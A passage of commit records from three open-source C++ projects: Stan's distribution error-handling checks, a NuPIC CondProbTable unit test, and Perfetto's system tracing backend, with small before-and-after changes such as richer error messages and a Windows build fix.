}
return true;
}
template <typename T_ub, typename T_result, class Policy>
inline bool check_bounds(
const char* function,
const stan::agrad::var& lower,
const T_ub& upper,
T_result* result,
const Policy& pol) {
if (false == check_lower_bound(function, lower, result, pol))
return false;
if (false == check_upper_bound(function, upper, result, pol))
return false;
if (lower >= upper) {
*result = boost::math::policies::raise_domain_error<double>(function,
"lower parameter is %1%, but must be less than upper!", lower.val(), pol);
return false;
}
return true;
}
template <typename T_covar, typename T_result, class Policy>
inline bool check_cov_matrix(
const char* function,
const Matrix<T_covar,Dynamic,Dynamic>& Sigma,
T_result* result,
const Policy& pol) {
if (!stan::prob::cov_matrix_validate(Sigma)) {
*result = boost::math::policies::raise_domain_error<T_covar>(function,
"Sigma is not a valid covariance matrix. Sigma must be symmetric and positive semi-definite.",
Sigma(0,0),
pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_cov_matrix(
const char* function,
const Matrix<stan::agrad::var,Dynamic,Dynamic>& Sigma,
T_result* result,
const Policy& pol) {
if (!stan::prob::cov_matrix_validate(Sigma)) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Sigma is not a valid covariance matrix. Sigma must be symmetric and positive semi-definite.",
Sigma(0,0),
pol);
return false;
}
return true;
}
}
}
#endif
<commit_msg>policies for distributions<commit_after>#ifndef __STAN__PROB__DISTRIBUTIONS_ERROR_HANDLING_HPP__
#define __STAN__PROB__DISTRIBUTIONS_ERROR_HANDLING_HPP__
#include <boost/math/policies/policy.hpp>
#include "stan/agrad/agrad.hpp"
namespace stan {
namespace prob {
// reimplementing: #include <boost/math/distributions/detail/common_error_handling.hpp>
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const T_x& x,
T_result* result,
const Policy& pol) {
if (!(boost::math::isfinite)(x)) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x, pol);
return false;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const stan::agrad::var& x,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(x.val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!", x.val(), pol);
return false;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const std::vector<T_x>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.size(); i++) {
if (!(boost::math::isfinite)(x[i])) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x[i], pol);
return false;
}
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const std::vector<stan::agrad::var>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.size(); i++) {
if (!(boost::math::isfinite)(x[i].val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!",
x[i].val(), pol);
return false;
}
return true;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const Eigen::Matrix<T_x,Eigen::Dynamic,1>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.rows(); i++) {
if (!(boost::math::isfinite)(x[i])) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x[i], pol);
return false;
}
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const Eigen::Matrix<stan::agrad::var,Eigen::Dynamic,1>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.rows(); i++) {
if (!(boost::math::isfinite)(x[i].val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!",
x[i].val(), pol);
return false;
}
return true;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_scale, typename T_result, class Policy>
inline bool check_scale(
const char* function,
const T_scale& scale,
T_result* result,
const Policy& pol) {
if((scale <= 0) || !(boost::math::isfinite)(scale)) { // Assume scale == 0 is NOT valid for any distribution.
*result = boost::math::policies::raise_domain_error<T_scale>(
function,
"Scale parameter is %1%, but must be > 0 !", scale, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_scale(
const char* function,
const stan::agrad::var& scale,
T_result* result,
const Policy& pol)
{
if((scale <= 0) || !(boost::math::isfinite)(scale.val())) { // Assume scale == 0 is NOT valid for any distribution.
*result = boost::math::policies::raise_domain_error<double>(
function,
"Scale parameter is %1%, but must be > 0 !", scale.val(), pol);
return false;
}
return true;
}
template <typename T_location, typename T_result, class Policy>
inline bool check_location(
const char* function,
const T_location& location,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(location)) {
*result = boost::math::policies::raise_domain_error<T_location>(
function,
"Location parameter is %1%, but must be finite!", location, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_location(
const char* function,
const stan::agrad::var& location,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(location.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Location parameter is %1%, but must be finite!", location.val(), pol);
return false;
}
return true;
}
template <typename T_bound, typename T_result, class Policy>
inline bool check_lower_bound(
const char* function,
const T_bound& lb,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(lb)) {
*result = boost::math::policies::raise_domain_error<T_bound>(
function,
"Lower bound is %1%, but must be finite!", lb, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_lower_bound(
const char* function,
const stan::agrad::var& lb,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(lb.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Lower bound is %1%, but must be finite!", lb.val(), pol);
return false;
}
return true;
}
template <typename T_bound, typename T_result, class Policy>
inline bool check_upper_bound(
const char* function,
const T_bound& ub,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(ub)) {
*result = boost::math::policies::raise_domain_error<T_bound>(
function,
"Upper bound is %1%, but must be finite!", ub, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_upper_bound(
const char* function,
const stan::agrad::var& ub,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(ub.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Upper bound is %1%, but must be finite!", ub.val(), pol);
return false;
}
return true;
}
template <typename T_lb, typename T_ub, typename T_result, class Policy>
inline bool check_bounds(
const char* function,
const T_lb& lower,
const T_ub& upper,
T_result* result,
const Policy& pol) {
if (false == check_lower_bound(function, lower, result, pol))
return false;
if (false == check_upper_bound(function, upper, result, pol))
return false;
if (lower >= upper) {
*result = boost::math::policies::raise_domain_error<T_lb>(function,
"lower parameter is %1%, but must be less than upper!", lower, pol);
return false;
}
return true;
}
template <typename T_ub, typename T_result, class Policy>
inline bool check_bounds(
const char* function,
const stan::agrad::var& lower,
const T_ub& upper,
T_result* result,
const Policy& pol) {
if (false == check_lower_bound(function, lower, result, pol))
return false;
if (false == check_upper_bound(function, upper, result, pol))
return false;
if (lower >= upper) {
*result = boost::math::policies::raise_domain_error<double>(function,
"lower parameter is %1%, but must be less than upper!", lower.val(), pol);
return false;
}
return true;
}
template <typename T_covar, typename T_result, class Policy>
inline bool check_cov_matrix(
const char* function,
const Matrix<T_covar,Dynamic,Dynamic>& Sigma,
T_result* result,
const Policy& pol) {
if (!stan::prob::cov_matrix_validate(Sigma)) {
std::ostringstream stream;
stream << "Sigma is not a valid covariance matrix. Sigma must be symmetric and positive semi-definite. Sigma: \n"<< Sigma << "\nSigma(0,0): %1%";
*result = boost::math::policies::raise_domain_error<T_covar>(function,
stream.str().c_str(),
Sigma(0,0),
pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_cov_matrix(
const char* function,
const Matrix<stan::agrad::var,Dynamic,Dynamic>& Sigma,
T_result* result,
const Policy& pol) {
if (!stan::prob::cov_matrix_validate(Sigma)) {
std::ostringstream stream;
stream << "Sigma is not a valid covariance matrix. Sigma must be symmetric and positive semi-definite. Sigma: \n"<< Sigma << "\nSigma(0,0): %1%";
*result = boost::math::policies::raise_domain_error<double>(function,
stream.str().c_str(),
Sigma(0,0),
pol);
return false;
}
return true;
}
}
}
#endif
<|endoftext|>
|
<commit_before>/* ---------------------------------------------------------------------
* Numenta Platform for Intelligent Computing (NuPIC)
* Copyright (C) 2013, Numenta, Inc. Unless you have an agreement
* with Numenta, Inc., for a separate license for this software code, the
* following terms and conditions apply:
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU Affero Public License for more details.
*
* You should have received a copy of the GNU Affero Public License
* along with this program. If not, see http://www.gnu.org/licenses.
*
* http://numenta.org/licenses/
* ---------------------------------------------------------------------
*/
/** @file
* Notes
*/
#include <fstream>
#include <nupic/algorithms/CondProbTable.hpp>
#include <nupic/math/StlIo.hpp>
// clang-format off
#include <boost/serialization/array_wrapper.hpp> //FIXME this include is fix for the include below in boost .64, remove later when fixed upstream
#include <boost/numeric/ublas/storage.hpp>
// clang-format on
#include "gtest/gtest.h"
using namespace std;
using namespace boost;
using namespace nupic;
namespace {
// Size of the table we construct
Size numRows() { return 4; }
Size numCols() { return 3; }
static vector<Real> makeRow(Real a, Real b, Real c) {
vector<Real> result(3);
result[0] = a;
result[1] = b;
result[2] = c;
return result;
}
static vector<Real> makeCol(Real a, Real b, Real c, Real d) {
vector<Real> result(4);
result[0] = a;
result[1] = b;
result[2] = c;
result[3] = d;
return result;
}
void testVectors(const string &testName, const vector<Real> &v1,
const vector<Real> &v2) {
stringstream s1, s2;
s1 << v1;
s2 << v2;
EXPECT_EQ(s1.str(), s2.str());
}
void testTable(const string &testName, CondProbTable &table,
const vector<vector<Real>> &rows) {
// Test the numRows(), numCols() calls
ASSERT_EQ(numRows(), table.numRows());
ASSERT_EQ(numCols(), table.numColumns());
// See if they got added right
vector<Real> testRow(numCols());
for (Size i = 0; i < numRows(); i++) {
stringstream ss;
ss << "updateRow " << i;
table.getRow((UInt)i, testRow);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + ss.str(), rows[i], testRow));
}
// --------------------------------------------------------------------
// Try out normal inference
vector<Real> expValue;
vector<Real> output(numRows());
// Row 0 matches row 3, so we get half and half hits on those rows
table.inferRow(rows[0], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 infer",
makeCol((Real).16, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(testVectors(
testName + "row 1 infer", makeCol((Real)0, 1, (Real)0, (Real)0), output));
// Row 2 matches only row 2 and 3
table.inferRow(rows[2], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 infer",
makeCol((Real)0, (Real)0, (Real).36, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 infer",
makeCol((Real).24, (Real)0, (Real).24, (Real).52), output));
// --------------------------------------------------------------------
// Try out inferEvidence inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferEvidence",
makeCol((Real).4, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferEvidence",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferEvidence",
makeCol((Real)0, (Real)0, (Real).6, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferEvidence",
makeCol((Real).6, (Real)0, (Real).4, (Real).52), output));
// --------------------------------------------------------------------
// Try out inferMaxProd inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferMaxProd",
makeCol((Real).16, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferMaxProd",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferMaxProd",
makeCol((Real)0, (Real)0, (Real).36, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferMaxProd",
makeCol((Real).24, (Real)0, (Real).24, (Real).36), output));
// --------------------------------------------------------------------
// Try out inferViterbi inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferViterbi",
makeCol((Real)0, (Real)0, (Real)0, (Real).4), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferViterbi",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferViterbi",
makeCol((Real)0, (Real)0, (Real).6, (Real)0), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferViterbi",
makeCol((Real)0, (Real)0, (Real).4, (Real).6), output));
// Add a row a second time, the row should double in value
table.updateRow(0, rows[0]);
expValue = rows[0];
for (Size i = 0; i < numCols(); i++)
expValue[i] *= 2;
table.getRow(0, testRow);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 update#2", expValue, testRow));
}
//----------------------------------------------------------------------
TEST(CondProbTableTest, Basic) {
// Our 4 rows
vector<vector<Real>> rows;
rows.resize(numRows());
rows[0] = makeRow((Real)0.0, (Real)0.4, (Real)0.0);
rows[1] = makeRow((Real)1.0, (Real)0.0, (Real)0.0);
rows[2] = makeRow((Real)0.0, (Real)0.0, (Real)0.6);
rows[3] = makeRow((Real)0.0, (Real)0.6, (Real)0.4);
// Test constructing without # of columns
{
CondProbTable table;
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Dynamic columns:", table, rows));
}
// Test constructing and growing the columns dynamically
{
CondProbTable table;
// Add the 2nd row first which has just 1 column
vector<Real> row1(1);
row1[0] = rows[1][0];
table.updateRow(1, row1);
// Add the first row first with just 2 columns
vector<Real> row0(2);
row0[0] = rows[0][0];
row0[1] = rows[0][1];
table.updateRow(0, row0);
for (Size i = 2; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Growing columns:", table, rows));
}
// Make a table with 3 columns
{
CondProbTable table((UInt)numCols());
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Fixed columns:", table, rows));
}
// Make a table, save to stream, then reload and test
{
CondProbTable table((UInt)numCols());
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Save it
stringstream state;
table.saveState(state);
CondProbTable newTable;
newTable.readState(state);
ASSERT_NO_FATAL_FAILURE(testTable("Restored from state:", newTable, rows));
}
// Test saving an empty table
{
CondProbTable table;
// Save it
stringstream state;
table.saveState(state);
// Read it in
CondProbTable newTable;
newTable.readState(state);
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
newTable.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(
testTable("Restored from empty state:", newTable, rows));
}
}
//----------------------------------------------------------------------
} // end namespace
<commit_msg>remove old boost compatibility hack<commit_after>/* ---------------------------------------------------------------------
* Numenta Platform for Intelligent Computing (NuPIC)
* Copyright (C) 2013, Numenta, Inc. Unless you have an agreement
* with Numenta, Inc., for a separate license for this software code, the
* following terms and conditions apply:
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU Affero Public License for more details.
*
* You should have received a copy of the GNU Affero Public License
* along with this program. If not, see http://www.gnu.org/licenses.
*
* http://numenta.org/licenses/
* ---------------------------------------------------------------------
*/
/** @file
* Notes
*/
#include <fstream>
#include <nupic/algorithms/CondProbTable.hpp>
#include <nupic/math/StlIo.hpp>
#include "gtest/gtest.h"
using namespace std;
using namespace boost;
using namespace nupic;
namespace {
// Size of the table we construct
Size numRows() { return 4; }
Size numCols() { return 3; }
static vector<Real> makeRow(Real a, Real b, Real c) {
vector<Real> result(3);
result[0] = a;
result[1] = b;
result[2] = c;
return result;
}
static vector<Real> makeCol(Real a, Real b, Real c, Real d) {
vector<Real> result(4);
result[0] = a;
result[1] = b;
result[2] = c;
result[3] = d;
return result;
}
void testVectors(const string &testName, const vector<Real> &v1,
const vector<Real> &v2) {
stringstream s1, s2;
s1 << v1;
s2 << v2;
EXPECT_EQ(s1.str(), s2.str());
}
void testTable(const string &testName, CondProbTable &table,
const vector<vector<Real>> &rows) {
// Test the numRows(), numCols() calls
ASSERT_EQ(numRows(), table.numRows());
ASSERT_EQ(numCols(), table.numColumns());
// See if they got added right
vector<Real> testRow(numCols());
for (Size i = 0; i < numRows(); i++) {
stringstream ss;
ss << "updateRow " << i;
table.getRow((UInt)i, testRow);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + ss.str(), rows[i], testRow));
}
// --------------------------------------------------------------------
// Try out normal inference
vector<Real> expValue;
vector<Real> output(numRows());
// Row 0 matches row 3, so we get half and half hits on those rows
table.inferRow(rows[0], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 infer",
makeCol((Real).16, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(testVectors(
testName + "row 1 infer", makeCol((Real)0, 1, (Real)0, (Real)0), output));
// Row 2 matches only row 2 and 3
table.inferRow(rows[2], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 infer",
makeCol((Real)0, (Real)0, (Real).36, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferMarginal);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 infer",
makeCol((Real).24, (Real)0, (Real).24, (Real).52), output));
// --------------------------------------------------------------------
// Try out inferEvidence inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferEvidence",
makeCol((Real).4, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferEvidence",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferEvidence",
makeCol((Real)0, (Real)0, (Real).6, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferRowEvidence);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferEvidence",
makeCol((Real).6, (Real)0, (Real).4, (Real).52), output));
// --------------------------------------------------------------------
// Try out inferMaxProd inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferMaxProd",
makeCol((Real).16, (Real)0, (Real)0, (Real).24), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferMaxProd",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferMaxProd",
makeCol((Real)0, (Real)0, (Real).36, (Real).24), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferMaxProd);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferMaxProd",
makeCol((Real).24, (Real)0, (Real).24, (Real).36), output));
// --------------------------------------------------------------------
// Try out inferViterbi inference
// Row 0 matches row 0 and half row 3, so we get half and half hits on those
// rows
table.inferRow(rows[0], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 inferViterbi",
makeCol((Real)0, (Real)0, (Real)0, (Real).4), output));
// Row 1 matches only row 1
table.inferRow(rows[1], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(testVectors(testName + "row 1 inferViterbi",
makeCol((Real)0, 1, (Real)0, (Real)0),
output));
// Row 2 matches only row 2 and half row 3
table.inferRow(rows[2], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 2 inferViterbi",
makeCol((Real)0, (Real)0, (Real).6, (Real)0), output));
// Row 3 matches row 0 & row 2 halfway, and row 3 exactly
table.inferRow(rows[3], output, CondProbTable::inferViterbi);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 3 inferViterbi",
makeCol((Real)0, (Real)0, (Real).4, (Real).6), output));
// Add a row a second time, the row should double in value
table.updateRow(0, rows[0]);
expValue = rows[0];
for (Size i = 0; i < numCols(); i++)
expValue[i] *= 2;
table.getRow(0, testRow);
ASSERT_NO_FATAL_FAILURE(
testVectors(testName + "row 0 update#2", expValue, testRow));
}
//----------------------------------------------------------------------
TEST(CondProbTableTest, Basic) {
// Our 4 rows
vector<vector<Real>> rows;
rows.resize(numRows());
rows[0] = makeRow((Real)0.0, (Real)0.4, (Real)0.0);
rows[1] = makeRow((Real)1.0, (Real)0.0, (Real)0.0);
rows[2] = makeRow((Real)0.0, (Real)0.0, (Real)0.6);
rows[3] = makeRow((Real)0.0, (Real)0.6, (Real)0.4);
// Test constructing without # of columns
{
CondProbTable table;
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Dynamic columns:", table, rows));
}
// Test constructing and growing the columns dynamically
{
CondProbTable table;
// Add the 2nd row first which has just 1 column
vector<Real> row1(1);
row1[0] = rows[1][0];
table.updateRow(1, row1);
// Add the first row first with just 2 columns
vector<Real> row0(2);
row0[0] = rows[0][0];
row0[1] = rows[0][1];
table.updateRow(0, row0);
for (Size i = 2; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Growing columns:", table, rows));
}
// Make a table with 3 columns
{
CondProbTable table((UInt)numCols());
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(testTable("Fixed columns:", table, rows));
}
// Make a table, save to stream, then reload and test
{
CondProbTable table((UInt)numCols());
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
table.updateRow((UInt)i, rows[i]);
// Save it
stringstream state;
table.saveState(state);
CondProbTable newTable;
newTable.readState(state);
ASSERT_NO_FATAL_FAILURE(testTable("Restored from state:", newTable, rows));
}
// Test saving an empty table
{
CondProbTable table;
// Save it
stringstream state;
table.saveState(state);
// Read it in
CondProbTable newTable;
newTable.readState(state);
// Add the 4 rows
for (Size i = 0; i < numRows(); i++)
newTable.updateRow((UInt)i, rows[i]);
// Test it
ASSERT_NO_FATAL_FAILURE(
testTable("Restored from empty state:", newTable, rows));
}
}
//----------------------------------------------------------------------
} // end namespace
<|endoftext|>
|
<commit_before>/*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "perfetto/tracing/internal/system_tracing_backend.h"
#include "perfetto/base/logging.h"
#include "perfetto/base/task_runner.h"
#include "perfetto/ext/tracing/core/tracing_service.h"
#include "perfetto/ext/tracing/ipc/consumer_ipc_client.h"
#include "perfetto/ext/tracing/ipc/default_socket.h"
#include "perfetto/ext/tracing/ipc/producer_ipc_client.h"
#include "src/tracing/ipc/posix_shared_memory.h"
namespace perfetto {
namespace internal {
// static
TracingBackend* SystemTracingBackend::GetInstance() {
static auto* instance = new SystemTracingBackend();
return instance;
}
SystemTracingBackend::SystemTracingBackend() {}
std::unique_ptr<ProducerEndpoint> SystemTracingBackend::ConnectProducer(
const ConnectProducerArgs& args) {
PERFETTO_DCHECK(args.task_runner->RunsTasksOnCurrentThread());
std::unique_ptr<SharedMemory> shm;
std::unique_ptr<SharedMemoryArbiter> arbiter;
uint32_t shmem_size_hint = args.shmem_size_hint_bytes;
uint32_t shmem_page_size_hint = args.shmem_page_size_hint_bytes;
if (args.use_producer_provided_smb) {
if (shmem_size_hint == 0)
shmem_size_hint = TracingService::kDefaultShmSize;
if (shmem_page_size_hint == 0)
shmem_page_size_hint = TracingService::kDefaultShmPageSize;
shm = PosixSharedMemory::Create(shmem_size_hint);
arbiter = SharedMemoryArbiter::CreateUnboundInstance(shm.get(),
shmem_page_size_hint);
}
auto endpoint = ProducerIPCClient::Connect(
GetProducerSocket(), args.producer, args.producer_name, args.task_runner,
TracingService::ProducerSMBScrapingMode::kEnabled, shmem_size_hint,
shmem_page_size_hint, std::move(shm), std::move(arbiter),
ProducerIPCClient::ConnectionFlags::kRetryIfUnreachable);
PERFETTO_CHECK(endpoint);
return endpoint;
}
std::unique_ptr<ConsumerEndpoint> SystemTracingBackend::ConnectConsumer(
const ConnectConsumerArgs& args) {
auto endpoint = ConsumerIPCClient::Connect(GetConsumerSocket(), args.consumer,
args.task_runner);
PERFETTO_CHECK(endpoint);
return endpoint;
}
} // namespace internal
} // namespace perfetto
<commit_msg>Fix compilation on windows<commit_after>/*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "perfetto/tracing/internal/system_tracing_backend.h"
#include "perfetto/base/logging.h"
#include "perfetto/base/task_runner.h"
#include "perfetto/ext/tracing/core/tracing_service.h"
#include "perfetto/ext/tracing/ipc/consumer_ipc_client.h"
#include "perfetto/ext/tracing/ipc/default_socket.h"
#include "perfetto/ext/tracing/ipc/producer_ipc_client.h"
#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)
#include "src/tracing/ipc/shared_memory_windows.h"
#else
#include "src/tracing/ipc/posix_shared_memory.h"
#endif
namespace perfetto {
namespace internal {
// static
TracingBackend* SystemTracingBackend::GetInstance() {
static auto* instance = new SystemTracingBackend();
